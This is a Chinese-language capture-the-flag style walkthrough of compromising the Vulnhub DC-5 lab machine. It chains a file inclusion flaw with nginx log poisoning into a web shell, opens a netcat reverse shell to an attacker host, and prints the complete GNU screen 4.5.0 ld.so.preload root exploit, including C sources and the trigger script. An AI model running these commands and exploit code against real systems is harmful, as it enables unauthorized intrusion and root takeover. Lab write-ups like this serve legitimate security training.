信息收集
扫描存活主机
nmap -sP 192.168.202.0/24
对靶机开放的端口服务进行扫描
nmap -A -p- -v 192.168.202.143
漏洞利用
访问80端口 ,用Wappalyzer识别框架,发现只是个简单的页面
查看一下源代码,发现有五个php文件,分别对应五个标题
来到Contact查看了一下,发现有几个地方可以填写信息,抓取发送的数据包查看了一下,没什么特别。
发送数据后会跳转到thankyou.php,并且提交数据,感觉没什么利用点,xss也不可能
用nikto扫描一波,看看有没有什么漏洞或者敏感文件
发现连简单的文件都没扫出,换dirsearch试试
发现多了一个php文件,访问一下看看
发现是页面底部的标识....没想到有什么用,先抓取个数据包看看吧
数据包也没什么特殊,但是仔细一看,发现每次刷新上面的年份就会发生变化。我们想到,DC-5的每个栏目的下方都有这个标识,都刷新一下,看看哪个会发生变化。
经过测试,发现试thankyou.php这个页面刷新后会发生变化,查看一下源代码,发现年份的改变似乎与footer.php有关
猜测一波可能存在文件包含漏洞,对参数进行测试,发现?file存在文件包含漏洞
那么接下来就很好办了,既然没有框架,那么数据库的账号密码也不知道在哪,想要拿shell,可以尝试通过日志包含。
先在thankyou.php页面用hackbar传值User-Agent的值为一句话密码
通过Wappalyzer识别出是Nginx服务器,默认的日志位置为
/var/log/nginx/access.log
用蚁剑连接即可
反弹shell
为了方便后面的操作,先来弹个shell吧。
在kali机
nc -lvnp 8888
在蚁剑虚拟终端输入命令
nc -e /bin/bash 192.168.202.129 8888
弹了之后,在反弹shell处弄个交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权
尝试无密码使用root级别命令,发现行不通
sudo -l
尝试SUID提权,发现有个/bin/screen-4.5.0
find / -perm -4000 -print 2>/dev/null
Linux终端命令神器--Screen命令详解。助力Linux使用和管理 - 云+社区 - 腾讯云 (tencent.com)
进入searchsploit寻找一下漏洞
searchsploit screen 4.5.0
查看一下第一个的详细信息,只能说利用起来有点麻烦,大致分为三个部分,框起来的两个部分,和剩下的部分。
searchsploit -x linux/local/41154.sh
按照要求先在kali将41154.sh中上面面一部分c语言代码另存为libhax.c文件,内容如下
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
再根据它给的命令编译生成文件libhax.so
gcc -fPIC -shared -ldl -o libhax.so libhax.c
将41154.sh中下面一部分c语言代码另存为rootshell.c,内容如下
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
使用命令生成rootshell文件
gcc -o rootshell rootshell.c
除去c语言部分,将剩下的内容另存为dc5.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
将libhax.so、rootshell、dc5.sh从kali机复制到物理机,接着从蚁剑上传。 也可以放到服务器上用wget下载.......
在反弹shell处进入/tmp目录,赋予dc5.sh权限后,运行提权成功。
cd /tmp
ls
chmod +x dc5.sh
./dc5.sh
当执行shell文件时报错
bad interpreter: No such file or directory
产生这种情况的原因是shell文件是在windows平台上写的,导致linux平台无法找到。
解决方法一:参考dalao的操作即可解决
解决方法:
用vi打开该sh文件,使用 :set ff=unix 保存,即可解决该问题
参考文章:
https://blog.csdn.net/ooooooobh/article/details/82766547
解决方法二:手动输入以下命令
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshell
参考文章
【渗透项目】靶机DC-5渗透过程_super小明的博客-CSDN博客
Vulnhub靶机实战——DC-5_冠霖L的博客-CSDN博客
vulnhub之DC5靶机_lainwith的博客-CSDN博客
Linux终端命令神器--Screen命令详解。助力Linux使用和管理 - 云+社区 - 腾讯云 (tencent.com)